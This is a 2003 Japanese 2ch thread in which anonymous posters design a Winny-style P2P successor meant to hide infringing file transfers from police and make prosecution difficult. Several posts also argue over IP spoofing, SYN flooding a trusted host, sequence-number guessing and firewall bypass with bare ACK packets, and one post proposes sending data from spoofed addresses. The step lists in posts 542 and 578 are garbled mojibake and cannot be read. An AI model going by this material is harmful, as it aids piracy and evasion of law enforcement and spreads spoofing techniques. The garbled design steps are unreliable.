すべてピント外れですよ。



532 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:07 ID:oAs4+G9g
じゃあ、完成したらwinnyで放流する方向で。
告知もwinnyBBSで。

533 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:08 ID:mguOJx7k
既出だったらスマソだが、
被参照数が多いファイルほど意図的にデータを劣化させるってのはダメですか?
アナログテープみたいに、コピーするほど劣化するように。
つまり、著作権所有者を黙認させる方向に持っていく意図なわけですが。

まあ、フィルタリングツールとかでオリジナルのデータに近い状態に補正するという
ことは技術的には可能「かもしれない」が、そこは……ゲフンゲフンということで。

534 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:10 ID:e8MIGzc8
>>533
ZIPファイルとか使い物にならなくなる。

535 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:10 ID:rYS1QidA
Winnyのソースがあれば、キャッシュをアップしないように
自分の好き勝手な改造ができるのに!くやしい・・・。
せめて、プロトコルとインターフェース情報ばらまいてくれ、47氏。

536 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:10 ID:pPYBNFva
>>533
劣化してないファイルを持っている奴が犯人だ!

537 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:11 ID:RuonkITM
>>533 ふむ
劣化コピー配布は何%からかOKなんだっけ?
それでもかまわないんだけど、劣化しちゃダメなバイナリは配れないし、
第一劣化操作の手間がかかるよね。
mp3, wmv, wma, ... というように、ファイルフォーマットごとの劣化処理を組み込む必要が出てくるので
現実的ではないだろうね

つうかpeercastやったほうが速いw

538 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:11 ID:GuxrSiXR
プログラム的なことを言うと、
 
 柔軟性のある仕様が必要

もし誰かが解析してもすぐに別の仕様にできるようにする。
また月に一回ぐらいの割合で一部の仕様を変えてしまう。

貯まってるキャッシュとかハッシュについてだが、
変換ツールを使うことで解決。

 

539 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:11 ID:cLEC5UPX
仮にここで仕様が決まっても設計段階で終了するのが見える

540 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:12 ID:K583Js7M
おい!誰か未来技術板で「P2P世界」のスレ作れ。

541 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:13 ID:GuxrSiXR
俺が作るというも ホスト規制で 無理だから 誰か代わりに作れ

542 名前:Jony 投稿日:03/11/29 19:13 ID:xwaGcwlR
妄想途中経過

オープンソースで開発するとして、
キーと分割情報を、優先して手元にとどめるように改造されるとまずいなと思います。
なぜなら、その二つがあればどのブロックがどのファイルのものか容易に判別可能になるからです。
というわけで、ブロックを完全に所持している人のみがキーをダウン要求できるようにしたい。

.ーを指定してダウンロード要求
∧割情報のハッシュがアップされてくる
J割情報をダウンロード要求
な割情報がアップされてくる
イ修譴鮓気砲靴謄屮蹈奪をダウンロード
α瓦討鬟瀬Ε鵐蹇璽匹靴燭薹觜
Х觜腓靴燭發里離魯奪轡綯佑鯊定
┐修離魯奪轡綯佑妊瀬Ε鵐蹇璽浜弋
キーがアップされてくる
デコード
キーもしくは分割情報のどちらかを削除(必要に応じてブロックの一部も削除)

ダウンロードの流れを妄想してみますた。分からない所や穴がありましたら指摘おながいします。
キー・分割情報・ブロックという管理手法よりも都合のいい管理方法も大歓迎でつ。

543 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:13 ID:EF77BNOV
dgcみたいなパスファイル方式による暗号化って出た?
公開(秘密)鍵って著作権ある?

544 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:14 ID:pPYBNFva
定期あげ?

545 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:15 ID:p4bwKDqh
>>538
毎日暗号方式を変えるようにすれば
暗号解読は困難だな。
それはいいな。

546 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:16 ID:GuxrSiXR
>>545
起動毎・24時間毎に暗号キーを変更で
 解読困難。

547 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:16 ID:oAs4+G9g
>>545
今日の周波数は○○ですってスパイみたいだなw

548 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:17 ID:Ji3eZPM1
>>538
放っておいてもP2Pソフトは乱立する、
というか既にしてるので故意にそんな事をするのは無意味。

549 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:17 ID:xwaGcwlR
>>543
出てないと思うが、電子割符(全部持ってないと結合できない)は出た。
公開鍵暗号(RSA)、秘密鍵暗号共に、優秀で著作権も特許問題もないものがある。

550 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:17 ID:GuxrSiXR
飯いってきまーーーーーーーす!

551 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:18 ID:p4bwKDqh
>>546
ただ、暗号方式を変えると
クライアントも対応しないといけない。
毎日作者が暗号を流す必要がある。

552 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:18 ID:mguOJx7k
>>537
おっしゃる通りだと思いますが……。
極端な話、劣化したデータは読めなくたっていいわけです。
とにかく「ファイル共有」自体を黙認させられれば。

で、その後の段階でデータを元に復元することが「違法」になるわけですが、
その復元現場を押さえられない限り逮捕はされないのではないか、と。

どうせダメだろうけどね。

553 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:18 ID:RuonkITM
>>542
ダウソ手順はそれでいいかもですね〜
うp側の挙動を示していただけませんでしょうか。

554 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:19 ID:TPRgzSZs
「挫折するオープンソースプロジェクト」を再現するスレはここですか?


555 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:20 ID:bdEG4ptJ
>>499 全然わかってないじゃないか。パケットを送っただけじゃ
セキュリティーホールを開けられないよ。
パケットを送るならシーケンス番号の推測は不要。
SYN-floodがどういう攻撃かやっぱりわかってない。
セッションとコネクションは別だよ。混同しないでよ。

556 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:20 ID:RuonkITM
>>554 あまりにも的確でワロタ

ピントはずれなレスを爆撃してくのが良いんでしょうか?↑でやられてるみたいに

557 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:21 ID:Ji3eZPM1
>>554>>556
まあ、みんなで一緒に妄想するスレなので。
プロジェクトなんてものではなく。

558 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:22 ID:xwaGcwlR
>>553
えと、このダウソ手順に対するものということでしょうか?
それとも、無差別にファイルを送信する場合のことでしょうか?

559 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:22 ID:RuonkITM
>>558 うーん。。。両方お願いしたいです。
お手数かけます。

560 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:23 ID:TPRgzSZs
>>556
ネタでもなく本当に「そのまま」を辿ってるからなw

結局はどうやって立件困難にするかの一件に尽きると思うんだが、
今回の逮捕が立件された背景も不明瞭な今の時点ではあーだこーだ
言ってもなあ。

561 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:23 ID:zbwds3O7
Up中でないとDownできないようにしてくれ。
転送率上げるならすぐにキャッシュも溜まるはず。

犯罪を犯しながらでないと犯罪者を調べられない。
屈辱だろうなw


562 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:24 ID:EF77BNOV
>>549
鍵そのものの著作権なんだけど。

563 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:24 ID:TPRgzSZs
>>561
自作ポエムをUPすれば解決

564 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:24 ID:RuonkITM
>>561
その捜査のやり方が合法かもしれないんですよ。
詳しくは ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

565 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:25 ID:bdEG4ptJ
>>499 全然わかってないじゃないか。
セキュリティーホールを開けるってあるだろ。パケットだけじゃ
無理だろうが。それに信頼されるIPからのパケットを
送るだけならヘッダ偽装だけでいいしいきなりACKパケットを
送ることも可能だが。

566 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:25 ID:pPYBNFva
>>561
よーし。お兄ちゃんがUpしていると見せかけるツール作っちゃうぞ。

567 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:25 ID:TPRgzSZs
>>562
鍵の著作権?なんじゃそら。

RSAはもうとっくに特許切れのはず。

568 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:26 ID:Rmlkzo5V
ぐだぐだ言うやつが何人いても意味ねー
それだけの力がある香具師はいるか?
漏れはないけどな

569 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:26 ID:K583Js7M
>>561
別にdownしなくてもk察はnyの場合相手先を特定したわけで。

570 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:27 ID:bdEG4ptJ
>>499 ヘッダ偽装したパケットを送るだけなら
シーケンス番号の推測はいらないぞ。
だいたいACKをいきなり送りFirewallを突破する
方法もあるからな。もっとセキュリティを勉強してくれ。

571 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:27 ID:bdEG4ptJ
楕円曲線暗号は採用しないのか?

572 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:28 ID:p4bwKDqh
匿名性の確保と言う事に興味はあるけど、
違法ダウンロードには興味ないね。

573 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:28 ID:pR2jJab5
>>187 の案
Winnyにも付けて欲しいな。

574 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:28 ID:UBs0PDO/
次世代P2P仕様

・RSA非対称暗号鍵による分割キャッシュ暗号化

キャッシュをLRの二分割する。
Lを秘密鍵、Rを公開鍵で暗号化し、Lの末端に公開鍵をRの末端に秘密鍵を添付する。
クライアントはLもしくはRの、どちらか一方のキャッシュのみを保持する。
これによって、片方だけでは数学的に絶対に複合化できないキャッシュができる。

アップロードする場合は必ず中継ノードを介して転送させる。
これによって、クライアントがLとRの両方のキャッシュを持っていることの特定は困難になる。


575 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:29 ID:lIUOvsqn
512ビット暗号採用しろ

576 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:30 ID:RuonkITM
>>568
同意。同時進行中の >>565 >>567 >>570 >>571 等、できたら他でやってくれと。
スレ違いというか的外れ。

>>574
だから暗号化は問題じゃないんだと。


>>542 がいい事言うかもしれないんだから、静かにしてくれる?

577 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:30 ID:K583Js7M
素粒子暗号採用しろ

578 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:30 ID:xwaGcwlR
>>559
無差別にファイルを送信する手法っていうのは、いくつかアイデアが出ていますが、
まだ、はっきりと決まってないんですよ。

542の場合におけるup側の挙動としては、

分割情報のハッシュを送信するピア
 .ーのハッシュ指定で要求を受ける
 ▲ーを保持していれば、キーの中に分割情報ハッシュが含まれているので、
   分割情報ハッシュだけを要求してきたピアに送信

分割情報を送信するピア
 (割情報のハッシュ指定で要求を受ける
 ∧割情報を保持していれば、それを要求してきたピアに送信

キーを送信するピア
 .屮蹈奪を結合したものの全体ハッシュ指定で要求を受ける
 ▲ーを保持していれば、それを要求してきたピアに送信

579 名前:Jony 投稿日:03/11/29 19:30 ID:pPYBNFva
いい事!

580 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:31 ID:QoxVRiwF
>>568
27 名前:[名無し]さん(bin+cue).rar 投稿日:2003/11/29(土) 15:31 ID:qbjOW1wM
>>21
実装に関しては今はやらないで。
一応、前スレまでの流れでは「ここを見て貰って、勝手に作って貰う」
ってのがお約束だから。

581 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:31 ID:EF77BNOV
>>567
復号化するのに別の(著作権が認められる)データを必要とする
ということ。

582 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:31 ID:RuonkITM
>>542=578 サンクス チョト待ってね

583 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:32 ID:Ji3eZPM1
暗号関連の書き込みしてるヤツはきっと
どこかでかじった知識をひけらかしたいだけなんだろうが、
はっきり言って邪魔だから消えてくれ。
そんな事はどうでもいいんだ。

584 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:33 ID:e8MIGzc8
>>570
何回も書かせないで欲しい。
ただパケットを送る訳じゃない。
「偽装したアドレスから送られたパケット」を装って送るんだよ。
これは偽るIPアドレス(Syn-floodを食らうホスト)が攻撃対象ホスト(Syn-floodを食らうホストじゃない)に信頼されたIPアドレスを持つホストだって事が前提なの。

>SYN-floodがどういう攻撃かやっぱりわかってない。
そんな事には一切触れてないのも解んない?
偽装されるホストが稼動してないのが前提だからDoSアタックで通信出来ないようにする、それだけ。

>セッションとコネクションは別だよ。混同しないでよ。
混同してるなんて言ってない。解ってるならそれでいい。

>だいたいACKをいきなり送りFirewallを突破する
>方法もあるからな。
アフォですか?SPIって知ってますか?

んで、これをどうやって匿名性の向上に役立てるわけ?
これも既に書いたような気がするが。
正常にネゴシエートしてセッション終了まで維持できるように
経路中に存在するルータのルーティングテーブル全部書き換えるわけ?
ついでにホストが持ってるルーティングテーブルも。
やれるものならやってみろ。

585 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:33 ID:xwaGcwlR
>>582
追加でつ。
キーには
 ・自分自身のハッシュ
 ・元のファイルのファイル名
 ・元のファイルのハッシュ値
 ・元のファイルのファイル容量
 ・分割情報のハッシュ
 ・結合済みブロック(暗号化状態)全体のハッシュ値
 ・結合済みブロック(暗号化状態)の暗号解除パスワード
 ・なんか他にいるかな?
が格納されていまつ。

586 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:34 ID:JDYABVn7
早くwinmankoを開発しる!

587 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:34 ID:pPYBNFva
暗号の種類でも羅列すれば静かになるんじゃない?

588 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:34 ID:x4GIk3H1
Jony期待age

589 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:35 ID:pPYBNFva
>>585
よーし、キーを改造していたずらしちゃうぞ。

590 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:35 ID:q5jNjs+g
UPフォルダに入れたファイルは自動的に暗号化されて復号不可能に
DOWNしてきたファイルのみ復号可能に


591 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:36 ID:zbwds3O7
>561
>その捜査のやり方が合法かもしれないんですよ。

捕まった事が無いので聞いた話だが、警察の調書はかなり細かく内容を書いているはず。
「P2Pでファイルを転送しながら・・・・」とかの一文書かせたい。
合法云々はグレーのままでいい。


592 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:38 ID:bdEG4ptJ
>>584 SPIぐらい知ってるが何か?結局お前の言ってることは
変わってないぞ。受信してもらうためにシーケンス番号を推測するとか
意味不明なことをいうからACKの例を出したんだ。一方的な
コネクションテいうのも意味わからない。もういいや。

593 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:38 ID:xwaGcwlR
>>589
突っ込み感謝です。
ブロックにキーファイルのハッシュを格納しておきましょか。

594 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:38 ID:Y9P7LwJe
法のことは考えずに絶対ばれないほうほうを考えよう

595 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:38 ID:Pb79miPU
>>591
それも問題ないんだろ
親告罪らしいから、警察を訴える会社がいなければ問題ない。
そもそも警察は訴える側の味方であるから、
このつながりはどうあっても断ち切ることはできないはず。

つか、スレ
違い指摘されるな。

596 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:39 ID:pPYBNFva
「P2Pで著作権的に問題ないファイルを転送しながら・・・・」
「P2Pで著作権保持者から許可を得たファイルを転送しながら・・・・」

597 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:39 ID:p4bwKDqh
>>585
そういう問題じゃないぞ。
ダウンロードした物がどういう経路で来たかが立証できれば、
逮捕は可能だからな。
暗号化は基本的に要件としては意味がない。

598 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:40 ID:pPYBNFva
>>593
よーし、プロセスメモリいじくって遊んじゃうぞ。

599 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:40 ID:Pb79miPU
>>592
まあ、今は何を言っても説得力が無いと思うので
シンプルな動作デモプログラムを組んでみてください
それがうまくいけば回りは黙るでしょう。

600 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:40 ID:Ji3eZPM1
>>578は分割情報のハッシュ、分割情報、キー
の3種類の中継ぎノード(ピア?)を挟むと言う理解でいいんでしょうか?

601 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:41 ID:QoxVRiwF
>>595
ご要望のw

次期P2P法的に考察するスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

602 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:42 ID:RuonkITM
>>597

とりあえず >>542の実装でどこまでやれるか考えてみませんか?

603 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:42 ID:pPYBNFva
もう方法は無いのか。夢も希望も無いのか。
無駄な努力なのか。もう諦めるべきなのか。

_| ̄|○  

604 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:43 ID:pPYBNFva
>>602
無理なのは目に見えてるしなぁ。

605 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:44 ID:Pb79miPU
>>602
技術レビューをしたいのか、実装をしたいのかはっきりしろよ
前者ならノードシミュレータ作るぞ。
47氏が開発状況に公開したような奴を

606 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:44 ID:RuonkITM
…ん…頭悪くてゴメンなさい、
そもそも >>542

>.ーを指定してダウンロード要求

この「指定するキー」というのは、どうやって、その、「指定」するんでしょうか?
検索キーワード(か他の何か)と、「指定するキー」を結びつけるには?


うーん。解釈合ってるのかな・・・?

607 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:45 ID:e8MIGzc8
>>592
>SPIぐらい知ってるが何か?
>だいたいACKをいきなり送りFirewallを突破する
>方法もあるからな。
シラネーだろ。

>結局お前の言ってることは
>変わってないぞ。
当たり前、お前のように主張がころころ変わる方がよっぽどおかしい。

>受信してもらうためにシーケンス番号を推測するとか
>意味不明なこと
理解できないだけだろ。シーケンス番号の推測なしじゃゴミパケットとして破棄されるだけなんだよ?
それどころかIDSが反応するかもしれない。

>コネクションテいうのも意味わからない。もういいや。
そうですか。さようなら。
ルーティングテーブルがどんな役割を持ってるのかくらいは勉強しておいてね。

608 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:46 ID:vPHTGrbf
そもそもあの実装だと検索ができなくないか?
しかもいきなり実装とか言ってる>>542もどうかと思うが。

609 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:47 ID:pPYBNFva
>だいたいACKをいきなり送りFirewallを突破する
ACKをいきなり送られた場合に通さないように設定されている
Firewallを突破できるわけ無いじゃん。馬鹿?


610 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:47 ID:bdEG4ptJ
俺はダウンロードするほうが普通コネクションを張りに行くけど
落とされるほうがコネクションを張りにいく。
これで偽装したアドレスでデータを送れる。どうよ。

611 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:47 ID:RuonkITM
>>602
だから、その、「ノードシミュレータ」とやらをつくる他に、

データの送受信機能に、
ファイル分割などの機能をつけよう、
その為に>>542のレビューをしよう、
ひょっとしたら分散化にアイデアが出せるかもしれない。

と、そういう訳にはいきませんか

612 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:48 ID:AFaBJT5n
こんなのは、どう?
ジャスト何とかのインターネットDisk みたいな発想。
各人が手持ちのHDDの空き容量の例えば、1ギカ分なりの共有スペースを提供しあって
P2Pで仮想の巨大なDiskを作る。そこに個人のバックアップソフトや動画データを保存。

しかし、そのままだと、当然、公衆送信権にひっかかてアウトなので、IDとパスを設定する。
IDとパスが一致しないと、自分のバックアップが見えなくする。こうすれば公衆送信権に
ひっかからないと思う。ではIDとパスをどうするか?

例え、ID=1234 パス=1234 としても不特定多数に公開した事にならない。
つまり、割れサイト「あさどう」方式、どうよ?


613 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:48 ID:ixLxXQ0/
頼むから試作品をまず作ってからごちゃごちゃ言えよ。仕様なんて後から固ま
ればいい。初めから統一できないし、する必要もない。


614 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:48 ID:bdEG4ptJ
SPI搭載してない場合の話。

615 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:49 ID:RuonkITM
>>542 を 叩き台にするのは悪くないと思うんですよ。
穴があれば詰めればいいワケで。


616 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:50 ID:bdEG4ptJ
まずファイルを持ってるやつがPCにこのファイルいらないかと問いかける。
それで返答があればその相手に対してIPを偽装してデータを送る。

617 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:51 ID:6dd/xEp6
ハリウッド/ディズニーと任天堂のファイルには手を出さない

これ定説

618 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:51 ID:RuonkITM
>>542 さん、 >>606 のお答えをお願いしたいです。。。ピント外れだったかな?

あと、またノイズ増えてきましたね。。。sage進行でおながいします…>ALL


619 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:52 ID:Pb79miPU
>>611
542をレビューするにしても、
視覚的にパケットの流れをつかむ道具が無ければ
把握しきれない奴もいるってことわからんか?

あの箇条書きだけで動く様子が手にとるようにわかる天才なら俺はもう口をはさまんよ。

620 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:52 ID:xwaGcwlR
>>598
それは効果がないと思います。
キー・分割情報・ブロックがそれぞれお互いを監視できるできるようにするのは必須ですが、
やるとそれぞれから残りのモノを手に入れられるようになるんだよなぁ……。
引き続き、ツッコミに期待です。

>>600
そういうことになると思います。

>>606
検索部分は今のところ省略しています。
Winnyでいうと、ハッシュ直指定ダウンロードみたいな感じと思ってください。

>>608
実装を前提に話をしても意味はないと思います。
今考えているデータ構造が実装不可能ならば、データ構造を変える必要があるので。

621 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:53 ID:GuxrSiXR
>>617
写真屋とかにも手を出すな

622 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:53 ID:RuonkITM
>>619
はいな あの箇条書きだけでは分からないので、質問していきましょう。
確かに、>>542に、図を書いてもらうのがいいかもしれない。

ただ、わからないやつはわからないままでいいんじゃないでしょうか?
実装するヤシが分かれば。。。

623 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:54 ID:xwaGcwlR
>>620
訂正、実装を前提にしないで……です。

624 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:54 ID:RuonkITM
>>620
>Winnyでいうと、ハッシュ直指定ダウンロードみたいな感じと思ってください
なるほど。サンクスコ

625 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:55 ID:QoxVRiwF
あくまでこのスレの住人は「議論」してるのです。
開発なんかしてないのです。
前までのスレのお約束なんで、これを徹底しないと。
あくまでテスト版を「自分のPCの中だけで検証」してるんだよね?ね?

626 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:57 ID:GuxrSiXR
むしろ まだ開発段階に移れてもいないのでは??

627 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:58 ID:UBs0PDO/
>>542
周りくどいことをしてるけど、

結局、全てのブロックを同一のノードからダウンロードできて、
かつ、デコードした物が違法なものであれば逮捕できるので、意味がないかと。

オープンソースなら、
あるノードに全てのブロックのダウンロード要求をするように変更して
全ブロックを保持していることを証明することは簡単にできる。



628 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:58 ID:Ji3eZPM1
>>620
ハッシュ入手はP2P以外の別経路で、という事になるんですかね?
ハッシュリストは有志によるサイトやここで流すとか。

保留してるだけかな?

629 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:58 ID:/SMdQfPt
>>625
そのとうりです。

630 名前:556 投稿日:03/11/29 19:58 ID:bdEG4ptJ
ちゃんと説明しよう。さっきのは俺の勘違いだった。悪いな馬鹿。
ちなみにUDPでも同じだよね?
まずAとBのパソコンとZというファイルがある。これはBが持ってる。
まずBがZファイルを持ってるよと色んなPCになんか送る。
もしZファイルが欲しければ返答を送る。
そしたらBは返答を受けてAに対してIPアドレスを偽装してコネクションを
確立してデータを送る。
欠点
・速度が遅くなる。・使ってないIPアドレスを確保する必要がある。


631 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:58 ID:ixLxXQ0/
>>625
開発しない?それなのになんで「議論」なんかするわけ?ただのオナニーかよ。
ま、47氏みたいにさくっと作れちまうヤシはやっぱなかなかいないわな。。

632 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:59 ID:GuxrSiXR
ところで 結局 今までに 何が まとまったん?

633 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:59 ID:efLNJHw6
インストール時に2chカルトクイズを強制実施。

高正解率を出さないとインストールできない。
低正解率の場合、ハードディスクがフォーマットされる。

これなら、ネラー限定。

634 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:00 ID:Pb79miPU
>>631
なんでこのスレでは開発しないことになっているかわかりませんか?

635 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:00 ID:GuxrSiXR
>>633
ageないように…
 2ch問題は、解けない奴がいるかもしれんが、
 インターネットする上で必要な知識を問うようにするといいのでは??

636 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:00 ID:ixLxXQ0/
>>634
わからんね。気持ちいいからか?

637 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:01 ID:Ji3eZPM1
IPパケットの話をしてる2, 3人。
目障りなので消えてください。
スレ違いです。

638 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:01 ID:RuonkITM
>>627
>結局、全てのブロックを同一のノードからダウンロードできて、
>かつ、デコードした物が違法なものであれば逮捕できるので、意味がないかと。

>>542のやり方には、ファイル分割のアイデアも含まれているので、
なんとか、
同一ノードからのファイル全体ダウソを防ぐやり方を
考えていきましょう。

オープンソースについては。。。ううむ。やっぱり一人で開発するのが良いでしょうね。。

639 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:01 ID:/SMdQfPt
>>634
過去スレを読めって事ですよね。

640 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:02 ID:vPHTGrbf
>>638
っつーかクローズソースだから今回のようなことになったんじゃないのか?

641 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:03 ID:KJ6PWk7l
>>631
Nyぐらいのソフトを独力で開発できる技術を持ってる人間なら、
こんなところでこの仕様どう?なんてヴぁかな質問せずに、とっとと
造ってる。

開発経験・知識のない人間がつつきまわして出来るものは、仕様以前の
アイデアがせいぜい。そんなもの穴だらけで、そこから動くコードを
起こすことなど無理無理

642 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:03 ID:OSjyZqJz
IPパケットの話をして盛り上がるスレはここでつか?

643 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:03 ID:bdEG4ptJ
>>637 630は有効活用できるかもしれないから言ったんだよ。
なんか欠点があるならいってくれよ

644 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:04 ID:QoxVRiwF
>>631
あなたにピッタリのネタスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070096120/l50

645 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:04 ID:xwaGcwlR
>>627
できません。
あるノードに全てのブロックのダウンロード要求をするように改造したとして、
結局、他のノードからデータが送られてきます。
同一のノードから全てのブロックがアップされることはありません。
アップ側がそのように改造したものを使ったなら別ですが、ありえません。

>>628
保留してます。
というか、漠然としたものはあるんですが、それを練っている状態です。

646 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:04 ID:RuonkITM
>>640
確かに、クローズドだとバイナリの信頼性が問題になるのは仕方ないことだと思うけど、
そんな ny が ものすごい勢いで広がったのは事実。

運試しも、大人数になってしまえばいいかと・・・(多分





647 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:04 ID:OSjyZqJz
>>643
煽られてるだけでは?

648 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:05 ID:Pb79miPU
>>643
自分で欠点言ってたじゃないか。
使われていないIPアドレスを人数分用意する必要があるって

649 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:05 ID:GuxrSiXR
----------------------------------------------------------------------
テーマ : 次世代のファイル共有ツールの仕様を考える
----------------------------------------------------------------------
 現在進行中のテーマ :
  同一ノードからファイル全体をダウソを防ぐ。
  分散・分割するなどについて語りましょう。
----------------------------------------------------------------------
 ※IPパケットの話は、この次に
 ※インターフェースの話は、その次に
----------------------------------------------------------------------
 ※ageない sage進行で
 ※著作権違反を助長するような表現を避ける。
----------------------------------------------------------------------

650 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:07 ID:OSjyZqJz
>>648
使われていないIPアドレスって、一つあればいいんじゃねーの?

651 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:07 ID:RuonkITM
>>645 なるほど オープンでも径路の問題はないと。(DOMとか懸案事項はあるみたいですが

652 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:07 ID:e8MIGzc8
分割情報ってのはブロック化されたファイルのハッシュが格納されてるファイルって事?

>>638
>同一ノードからのファイル全体ダウソを防ぐやり方
UP側が強制的に接続切っちゃえば良くない?
